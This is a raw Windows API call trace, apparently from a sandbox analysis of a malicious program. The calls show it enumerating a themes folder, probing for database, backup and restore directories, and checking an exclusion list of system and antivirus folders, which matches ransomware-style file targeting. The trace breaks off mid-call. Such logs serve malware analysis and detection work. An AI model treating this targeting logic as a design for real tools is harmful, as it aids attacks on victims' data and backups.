lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.848] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY", len=0x3b | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY") returned 1 [0053.848] GlobalLock (hMem=0x44000c) returned 0x550170 [0053.848] GlobalHandle (pMem=0x550170) returned 0x44000c [0053.849] GlobalUnlock (hMem=0x44000c) returned 0 [0053.849] GlobalLock (hMem=0x44000c) returned 0x550170 [0053.849] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.849] GlobalHandle (pMem=0x550170) returned 0x44000c [0053.849] GlobalUnlock (hMem=0x44000c) returned 0 [0053.849] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.849] GlobalUnlock (hMem=0x440004) returned 0 [0053.849] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@姰U姄U企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0053.869] GetLastError () returned 0x3 [0053.869] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sky\\") returned 0x3c [0053.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0053.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0053.869] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@奌U企@\x18㿬Q\x181")) returned 0xffffffff [0053.870] GetLastError () returned 0x2 [0053.870] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sky\\") returned 0x3c [0053.870] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0053.870] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0053.870] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@뭼R企@\x18?T\x18;")) returned 0xffffffff [0053.870] GetLastError () returned 0x2 [0053.870] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sky\\") returned 0x3c [0053.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4e8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0053.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0053.871] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@儔R企@\x18?T\x18D")) returned 0xffffffff [0053.871] GetLastError () returned 0x2 [0053.871] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sky\\") returned 0x3c [0053.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4e8, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0053.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0053.871] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@奌U企@\x18뭼R\x18j")) returned 0xffffffff [0053.872] GetLastError () returned 0x2 [0053.872] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sky\\") returned 0x3c [0053.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0053.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0053.872] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@儔R企@\x18?T\x18q")) returned 0xffffffff [0053.872] GetLastError () returned 0x2 [0053.872] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sky\\") returned 0x3c [0053.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4e8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\뭸RP") returned 6 [0053.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0053.873] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@뾴R企@\x18?T\x18y")) returned 0xffffffff [0053.873] GetLastError () returned 0x2 [0053.873] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sky\\") returned 0x3c [0053.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4e8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0053.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0053.873] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@奌U企@\x18?T\x18\x81")) returned 0xffffffff [0053.873] GetLastError () returned 0x2 [0053.873] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sky\\") returned 0x3c [0053.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4e8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0053.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0053.874] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@儔R企@\x18?T\x18\x88")) returned 0xffffffff [0053.874] GetLastError () returned 0x2 [0053.874] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sky\\") returned 0x3c [0053.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4e8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0053.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0053.874] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@뾴R企@\x18?T\x18\x8f")) returned 0xffffffff [0053.874] GetLastError () returned 0x2 [0053.875] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sky\\") returned 0x3c [0053.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4e8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0053.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0053.875] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@奌U企@\x18?T\x18\x97")) returned 0xffffffff [0053.875] GetLastError () returned 0x2 [0053.875] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sky\\") returned 0x3c [0053.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4e8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0053.875] GlobalLock (hMem=0x440004) returned 0x550170 [0053.875] GlobalHandle (pMem=0x550170) returned 0x440004 [0053.875] GlobalUnlock (hMem=0x440004) returned 0 [0053.875] GlobalLock (hMem=0x440004) returned 0x550170 [0053.875] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.875] GlobalHandle (pMem=0x550170) returned 0x440004 [0053.875] GlobalUnlock (hMem=0x440004) returned 0 [0053.875] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.875] GlobalUnlock (hMem=0x44000c) returned 0 [0053.876] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sky\\") returned 0x3c [0053.876] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0053.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0053.876] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sky\\") returned 0x3c [0053.876] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0053.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0053.876] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sky\\") returned 0x3c [0053.876] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0053.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0053.876] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sky\\") returned 0x3c [0053.876] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0053.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a548, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0053.877] GlobalLock (hMem=0x44000c) returned 0x550170 [0053.877] GlobalHandle (pMem=0x550170) returned 0x44000c [0053.877] GlobalUnlock (hMem=0x44000c) returned 0 [0053.877] GlobalLock (hMem=0x44000c) returned 0x550170 [0053.877] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.877] GlobalHandle (pMem=0x550170) returned 0x44000c [0053.877] GlobalUnlock (hMem=0x44000c) returned 0 [0053.877] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.877] GlobalUnlock (hMem=0x440004) returned 0 [0053.877] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sky\\") returned 0x3c [0053.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0053.877] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sky\\") returned 0x3c [0053.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4e8, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0053.877] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sky\\") returned 0x3c [0053.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4e8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0053.878] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sky\\") returned 0x3c [0053.878] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0053.878] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sky\\") returned 0x3c [0053.878] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0053.878] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sky\\") returned 0x3c [0053.878] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4e8, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0053.878] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sky\\") returned 0x3c [0053.878] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4e8, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0053.878] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sky\\") returned 0x3c [0053.878] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4e8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0053.879] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sky\\") returned 0x3c [0053.879] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0053.879] GlobalLock (hMem=0x440004) returned 0x550170 [0053.879] GlobalHandle (pMem=0x550170) returned 0x440004 [0053.879] GlobalUnlock (hMem=0x440004) returned 0 [0053.879] GlobalLock (hMem=0x440004) returned 0x550170 [0053.879] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.879] GlobalHandle (pMem=0x550170) returned 0x440004 [0053.879] GlobalUnlock (hMem=0x440004) returned 0 [0053.879] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.879] GlobalUnlock (hMem=0x44000c) returned 0 [0053.879] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0053.879] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.879] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0053.879] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, 